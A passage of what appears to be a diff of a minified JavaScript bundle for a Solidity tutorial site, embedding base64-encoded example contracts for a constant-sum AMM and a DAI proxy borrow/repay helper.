    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
"}],em=`

                    Constant product AMM XY = K

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -4467,7 +4467,7 @@ specify the location of the data.
                    
         external
         returns (bool);
 }
-
                    `,tm=({prev:s,next:a})=>r.jsx(A,{version:nm,title:lm,description:pm,html:cm,prev:s,next:a,codes:em}),om="0.8.24",rm="Constant Sum AMM",im="Constant sum AMM",gm=[{fileName:"CSAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENTQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50MjU2IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQyNTYgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICAvLyBOT1RFOiBUaGlzIGNvbnRyYWN0IGFzc3VtZXMgdGhhdCB0b2tlbjAgYW5kIHRva2VuMQogICAgICAgIC8vIGJvdGggaGF2ZSBzYW1lIGRlY2ltYWxzCiAgICAgICAgdG9rZW4wID0gSUVSQzIwKF90b2tlbjApOwogICAgICAgIHRva2VuMSA9IElFUkMyMChfdG9rZW4xKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIF90bywgdWludDI1NiBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX3RvXSArPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9hbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4oYWRkcmVzcyBfZnJvbSwgdWludDI1NiBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX2Zyb21dIC09IF9hbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgLT0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBfdXBkYXRlKHVpbnQyNTYgX3JlczAsIHVpbnQyNTYgX3JlczEpIHByaXZhdGUgewogICAgICAgIHJlc2VydmUwID0gX3JlczA7CiAgICAgICAgcmVzZXJ2ZTEgPSBfcmVzMTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwKGFkZHJlc3MgX3Rva2VuSW4sIHVpbnQyNTYgX2Ftb3VudEluKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpCiAgICB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgX3Rva2VuSW4gPT0gYWRkcmVzcyh0b2tlbjApIHx8IF90b2tlbkluID09IGFkZHJlc3ModG9rZW4xKSwKICAgICAgICAgICAgImludmFsaWQgdG9rZW4iCiAgICAgICAgKTsKCiAgICAgICAgYm9vbCBpc1Rva2VuMCA9IF90b2tlbkluID09IGFkZHJlc3ModG9rZW4wKTsKCiAgICAgICAgKElFUkMyMCB0b2tlbkluLCBJRVJDMjAgdG9rZW5PdXQsIHVpbnQyNTYgcmVzSW4sIHVpbnQyNTYgcmVzT3V0KSA9CiAgICAgICAgaXNUb2tlbjAKICAgICAgICAgICAgPyAodG9rZW4wLCB0b2tlbjEsIHJlc2VydmUwLCByZXNlcnZlMSkKICAgICAgICAgICAgOiAodG9rZW4xLCB0b2tlbjAsIHJlc2VydmUxLCByZXNlcnZlMCk7CgogICAgICAgIHRva2VuSW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRJbik7CiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHRva2VuSW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpIC0gcmVzSW47CgogICAgICAgIC8vIDAuMyUgZmVlCiAgICAgICAgYW1vdW50T3V0ID0gKGFtb3VudEluICogOTk3KSAvIDEwMDA7CgogICAgICAgICh1aW50MjU2IHJlczAsIHVpbnQyNTYgcmVzMSkgPSBpc1Rva2VuMAogICAgICAgICAgICA/IChyZXNJbiArIGFtb3VudEluLCByZXNPdXQgLSBhbW91bnRPdXQpCiAgICAgICAgICAgIDogKHJlc091dCAtIGFtb3VudE91dCwgcmVzSW4gKyBhbW91bnRJbik7CgogICAgICAgIF91cGRhdGUocmVzMCwgcmVzMSk7CiAgICAgICAgdG9rZW5PdXQudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50T3V0KTsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkodWludDI1NiBfYW1vdW50MCwgdWludDI1NiBfYW1vdW50MSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgc2hhcmVzKQogICAgewogICAgICAgIHRva2VuMC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDEpOwoKICAgICAgICB1aW50MjU2IGJhbDAgPSB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CgogICAgICAgIHVpbnQyNTYgZDAgPSBiYWwwIC0gcmVzZXJ2ZTA7CiAgICAgICAgdWludDI1NiBkMSA9IGJhbDEgLSByZXNlcnZlMTsKCiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50IGluCiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMgdG8gbWludAogICAgICAgIFQgPSB0b3RhbCBzdXBwbHkKCiAgICAgICAgcyBzaG91bGQgYmUgcHJvcG9ydGlvbmFsIHRvIGluY3JlYXNlIGZyb20gTCB0byBMICsgYQogICAgICAgIChMICsgYSkgLyBMID0gKFQgKyBzKSAvIFQKCiAgICAgICAgcyA9IGEgKiBUIC8gTAogICAgICAgICovCiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBzaGFyZXMgPSAoKGQwICsgZDEpICogdG90YWxTdXBwbHkpIC8gKHJlc2VydmUwICsgcmVzZXJ2ZTEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IGQwICsgZDE7CiAgICAgICAgfQoKICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZShiYWwwLCBiYWwxKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkodWludDI1NiBfc2hhcmVzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBkMCwgdWludDI1NiBkMSkKICAgIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQgb3V0CiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMKICAgICAgICBUID0gdG90YWwgc3VwcGx5CgogICAgICAgIGEgLyBMID0gcyAvIFQKCiAgICAgICAgYSA9IEwgKiBzIC8gVAogICAgICAgICAgPSAocmVzZXJ2ZTAgKyByZXNlcnZlMSkgKiBzIC8gVAogICAgICAgICovCiAgICAgICAgZDAgPSAocmVzZXJ2ZTAgKiBfc2hhcmVzKSAvIHRvdGFsU3VwcGx5OwogICAgICAgIGQxID0gKHJlc2VydmUxICogX3NoYXJlcykgLyB0b3RhbFN1cHBseTsKCiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgX3NoYXJlcyk7CiAgICAgICAgX3VwZGF0ZShyZXNlcnZlMCAtIGQwLCByZXNlcnZlMSAtIGQxKTsKCiAgICAgICAgaWYgKGQwID4gMCkgewogICAgICAgICAgICB0b2tlbjAudHJhbnNmZXIobXNnLnNlbmRlciwgZDApOwogICAgICAgIH0KICAgICAgICBpZiAoZDEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2Zlcihtc2cuc2VuZGVyLCBkMSk7CiAgICAgICAgfQogICAgfQp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQo="}],hm=`

                    Constant sum AMM X + Y = K

                    +`,cm=({prev:s,next:a})=>r.jsx(A,{version:am,title:nm,description:lm,html:em,prev:s,next:a,codes:pm}),tm="0.8.24",om="Constant Sum AMM",rm="Constant sum AMM",im=[{fileName:"CSAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENTQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50MjU2IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQyNTYgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICAvLyBOT1RFOiBUaGlzIGNvbnRyYWN0IGFzc3VtZXMgdGhhdCB0b2tlbjAgYW5kIHRva2VuMQogICAgICAgIC8vIGJvdGggaGF2ZSBzYW1lIGRlY2ltYWxzCiAgICAgICAgdG9rZW4wID0gSUVSQzIwKF90b2tlbjApOwogICAgICAgIHRva2VuMSA9IElFUkMyMChfdG9rZW4xKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIF90bywgdWludDI1NiBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX3RvXSArPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9hbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4oYWRkcmVzcyBfZnJvbSwgdWludDI1NiBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX2Zyb21dIC09IF9hbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgLT0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBfdXBkYXRlKHVpbnQyNTYgX3JlczAsIHVpbnQyNTYgX3JlczEpIHByaXZhdGUgewogICAgICAgIHJlc2VydmUwID0gX3JlczA7CiAgICAgICAgcmVzZXJ2ZTEgPSBfcmVzMTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwKGFkZHJlc3MgX3Rva2VuSW4sIHVpbnQyNTYgX2Ftb3VudEluKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpCiAgICB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgX3Rva2VuSW4gPT0gYWRkcmVzcyh0b2tlbjApIHx8IF90b2tlbkluID09IGFkZHJlc3ModG9rZW4xKSwKICAgICAgICAgICAgImludmFsaWQgdG9rZW4iCiAgICAgICAgKTsKCiAgICAgICAgYm9vbCBpc1Rva2VuMCA9IF90b2tlbkluID09IGFkZHJlc3ModG9rZW4wKTsKCiAgICAgICAgKElFUkMyMCB0b2tlbkluLCBJRVJDMjAgdG9rZW5PdXQsIHVpbnQyNTYgcmVzSW4sIHVpbnQyNTYgcmVzT3V0KSA9CiAgICAgICAgaXNUb2tlbjAKICAgICAgICAgICAgPyAodG9rZW4wLCB0b2tlbjEsIHJlc2VydmUwLCByZXNlcnZlMSkKICAgICAgICAgICAgOiAodG9rZW4xLCB0b2tlbjAsIHJlc2VydmUxLCByZXNlcnZlMCk7CgogICAgICAgIHRva2VuSW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRJbik7CiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHRva2VuSW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpIC0gcmVzSW47CgogICAgICAgIC8vIDAuMyUgZmVlCiAgICAgICAgYW1vdW50T3V0ID0gKGFtb3VudEluICogOTk3KSAvIDEwMDA7CgogICAgICAgICh1aW50MjU2IHJlczAsIHVpbnQyNTYgcmVzMSkgPSBpc1Rva2VuMAogICAgICAgICAgICA/IChyZXNJbiArIGFtb3VudEluLCByZXNPdXQgLSBhbW91bnRPdXQpCiAgICAgICAgICAgIDogKHJlc091dCAtIGFtb3VudE91dCwgcmVzSW4gKyBhbW91bnRJbik7CgogICAgICAgIF91cGRhdGUocmVzMCwgcmVzMSk7CiAgICAgICAgdG9rZW5PdXQudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50T3V0KTsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkodWludDI1NiBfYW1vdW50MCwgdWludDI1NiBfYW1vdW50MSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgc2hhcmVzKQogICAgewogICAgICAgIHRva2VuMC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDEpOwoKICAgICAgICB1aW50MjU2IGJhbDAgPSB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CgogICAgICAgIHVpbnQyNTYgZDAgPSBiYWwwIC0gcmVzZXJ2ZTA7CiAgICAgICAgdWludDI1NiBkMSA9IGJhbDEgLSByZXNlcnZlMTsKCiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50IGluCiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMgdG8gbWludAogICAgICAgIFQgPSB0b3RhbCBzdXBwbHkKCiAgICAgICAgcyBzaG91bGQgYmUgcHJvcG9ydGlvbmFsIHRvIGluY3JlYXNlIGZyb20gTCB0byBMICsgYQogICAgICAgIChMICsgYSkgLyBMID0gKFQgKyBzKSAvIFQKCiAgICAgICAgcyA9IGEgKiBUIC8gTAogICAgICAgICovCiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBzaGFyZXMgPSAoKGQwICsgZDEpICogdG90YWxTdXBwbHkpIC8gKHJlc2VydmUwICsgcmVzZXJ2ZTEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IGQwICsgZDE7CiAgICAgICAgfQoKICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZShiYWwwLCBiYWwxKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkodWludDI1NiBfc2hhcmVzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBkMCwgdWludDI1NiBkMSkKICAgIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQgb3V0CiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMKICAgICAgICBUID0gdG90YWwgc3VwcGx5CgogICAgICAgIGEgLyBMID0gcyAvIFQKCiAgICAgICAgYSA9IEwgKiBzIC8gVAogICAgICAgICAgPSAocmVzZXJ2ZTAgKyByZXNlcnZlMSkgKiBzIC8gVAogICAgICAgICovCiAgICAgICAgZDAgPSAocmVzZXJ2ZTAgKiBfc2hhcmVzKSAvIHRvdGFsU3VwcGx5OwogICAgICAgIGQxID0gKHJlc2VydmUxICogX3NoYXJlcykgLyB0b3RhbFN1cHBseTsKCiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgX3NoYXJlcyk7CiAgICAgICAgX3VwZGF0ZShyZXNlcnZlMCAtIGQwLCByZXNlcnZlMSAtIGQxKTsKCiAgICAgICAgaWYgKGQwID4gMCkgewogICAgICAgICAgICB0b2tlbjAudHJhbnNmZXIobXNnLnNlbmRlciwgZDApOwogICAgICAgIH0KICAgICAgICBpZiAoZDEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2Zlcihtc2cuc2VuZGVyLCBkMSk7CiAgICAgICAgfQogICAgfQp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQo="}],gm=`

                    Constant sum AMM X + Y = K

                    Tokens trade one to one.

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -4615,7 +4615,7 @@ specify the location of the data.
                    
         external
         returns (bool);
 }
-
                    `,Im=({prev:s,next:a})=>r.jsx(A,{version:om,title:rm,description:im,html:hm,prev:s,next:a,codes:gm}),dm="0.8.24",Cm="DAI Proxy Examples",jm="Borrow and repay DAI using DssProxy",Am=[{fileName:"DaiProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFBST1hZX1JFR0lTVFJZID0gMHg0Njc4ZjBhNjk1OGU0RDJCYzRGMUJBRjdCYzUyRThGMzU2NGYzZkU0OwphZGRyZXNzIGNvbnN0YW50IFBST1hZX0FDVElPTlMgPSAweDgyZWNEMTM1RGNlNjVGYmM2RGJkRDBlNDIzN0UwQUY5M0ZGRDUwMzg7CmFkZHJlc3MgY29uc3RhbnQgQ0RQX01BTkFHRVIgPSAweDVlZjMwYjk5ODYzNDUyNDliYzMyZDg5MjhCN2VlNjRERTk0MzVFMzk7CmFkZHJlc3MgY29uc3RhbnQgSlVHID0gMHgxOWMwOTc2ZjU5MEQ2NzcwN0U2MjM5N0M4NzgyOWQ4OTZEYzBmMUYxOwphZGRyZXNzIGNvbnN0YW50IEpPSU5fRVRIX0MgPSAweEYwNGE1Y0M4MEIxRTk0QzY5QjQ4ZjVlZTY4YTA4Q0QyRjA5QTdjM0U7CmFkZHJlc3MgY29uc3RhbnQgSk9JTl9EQUkgPSAweDk3NTlBNkFjOTA5NzdiOTNCNTg1NDdiNEE3MWM3ODMxN2YzOTFBMjg7CgpieXRlczMyIGNvbnN0YW50IEVUSF9DID0KICAgIDB4NDU1NDQ4MmQ0MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDsKCmNvbnRyYWN0IERhaVByb3h5IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgYWRkcmVzcyBwdWJsaWMgaW1tdXRhYmxlIHByb3h5OwogICAgdWludDI1NiBwdWJsaWMgaW1tdXRhYmxlIGNkcElkOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIHByb3h5ID0gSURzc1Byb3h5UmVnaXN0cnkoUFJPWFlfUkVHSVNUUlkpLmJ1aWxkKCk7CiAgICAgICAgYnl0ZXMzMiByZXMgPSBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElEc3NQcm94eUFjdGlvbnMub3BlbiwgKENEUF9NQU5BR0VSLCBFVEhfQywgcHJveHkpKQogICAgICAgICk7CiAgICAgICAgY2RwSWQgPSB1aW50MjU2KHJlcyk7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBsb2NrRXRoKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgSURzc1Byb3h5KHByb3h5KS5leGVjdXRle3ZhbHVlOiBtc2cudmFsdWV9KAogICAgICAgICAgICBQUk9YWV9BQ1RJT05TLAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbCgKICAgICAgICAgICAgICAgIElEc3NQcm94eUFjdGlvbnMubG9ja0VUSCwgKENEUF9NQU5BR0VSLCBKT0lOX0VUSF9DLCBjZHBJZCkKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gYm9ycm93KHVpbnQyNTYgZGFpQW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgSURzc1Byb3h5KHByb3h5KS5leGVjdXRlKAogICAgICAgICAgICBQUk9YWV9BQ1RJT05TLAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbCgKICAgICAgICAgICAgICAgIElEc3NQcm94eUFjdGlvbnMuZHJhdywKICAgICAgICAgICAgICAgIChDRFBfTUFOQUdFUiwgSlVHLCBKT0lOX0RBSSwgY2RwSWQsIGRhaUFtb3VudCkKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVwYXkodWludDI1NiBkYWlBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBkYWkuYXBwcm92ZShwcm94eSwgZGFpQW1vdW50KTsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy53aXBlLCAoQ0RQX01BTkFHRVIsIEpPSU5fREFJLCBjZHBJZCwgZGFpQW1vdW50KQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZXBheUFsbCgpIGV4dGVybmFsIHsKICAgICAgICBkYWkuYXBwcm92ZShwcm94eSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgICAgIElEc3NQcm94eShwcm94eSkuZXhlY3V0ZSgKICAgICAgICAgICAgUFJPWFlfQUNUSU9OUywKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoCiAgICAgICAgICAgICAgICBJRHNzUHJveHlBY3Rpb25zLndpcGVBbGwsIChDRFBfTUFOQUdFUiwgSk9JTl9EQUksIGNkcElkKQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bmxvY2tFdGgodWludDI1NiBldGhBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy5mcmVlRVRILAogICAgICAgICAgICAgICAgKENEUF9NQU5BR0VSLCBKT0lOX0VUSF9DLCBjZHBJZCwgZXRoQW1vdW50KQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KfQoKaW50ZXJmYWNlIElEc3NQcm94eVJlZ2lzdHJ5IHsKICAgIGZ1bmN0aW9uIGJ1aWxkKCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyBwcm94eSk7Cn0KCmludGVyZmFjZSBJRHNzUHJveHkgewogICAgZnVuY3Rpb24gZXhlY3V0ZShhZGRyZXNzIHRhcmdldCwgYnl0ZXMgbWVtb3J5IGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMiByZXMpOwp9CgppbnRlcmZhY2UgSURzc1Byb3h5QWN0aW9ucyB7CiAgICBmdW5jdGlvbiBvcGVuKGFkZHJlc3MgY2RwTWFuYWdlciwgYnl0ZXMzMiBpbGssIGFkZHJlc3MgdXNyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBjZHBJZCk7CiAgICBmdW5jdGlvbiBsb2NrRVRIKGFkZHJlc3MgY2RwTWFuYWdlciwgYWRkcmVzcyBldGhKb2luLCB1aW50MjU2IGNkcElkKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIGRyYXcoCiAgICAgICAgYWRkcmVzcyBjZHBNYW5hZ2VyLAogICAgICAgIGFkZHJlc3MganVnLAogICAgICAgIGFkZHJlc3MgZGFpSm9pbiwKICAgICAgICB1aW50MjU2IGNkcElkLAogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50CiAgICApIGV4dGVybmFsOwogICAgZnVuY3Rpb24gd2lwZSgKICAgICAgICBhZGRyZXNzIGNkcE1hbmFnZXIsCiAgICAgICAgYWRkcmVzcyBkYWlKb2luLAogICAgICAgIHVpbnQyNTYgY2RwSWQsCiAgICAgICAgdWludDI1NiBkYWlBbW91bnQKICAgICkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiB3aXBlQWxsKGFkZHJlc3MgY2RwTWFuYWdlciwgYWRkcmVzcyBkYWlKb2luLCB1aW50MjU2IGNkcElkKQogICAgICAgIGV4dGVybmFsOwogICAgZnVuY3Rpb24gZnJlZUVUSCgKICAgICAgICBhZGRyZXNzIGNkcE1hbmFnZXIsCiAgICAgICAgYWRkcmVzcyBldGhKb2luLAogICAgICAgIHVpbnQyNTYgY2RwSWQsCiAgICAgICAgdWludDI1NiBjb2xsYXRlcmFsQW1vdW50CiAgICApIGV4dGVybmFsOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhbGxvd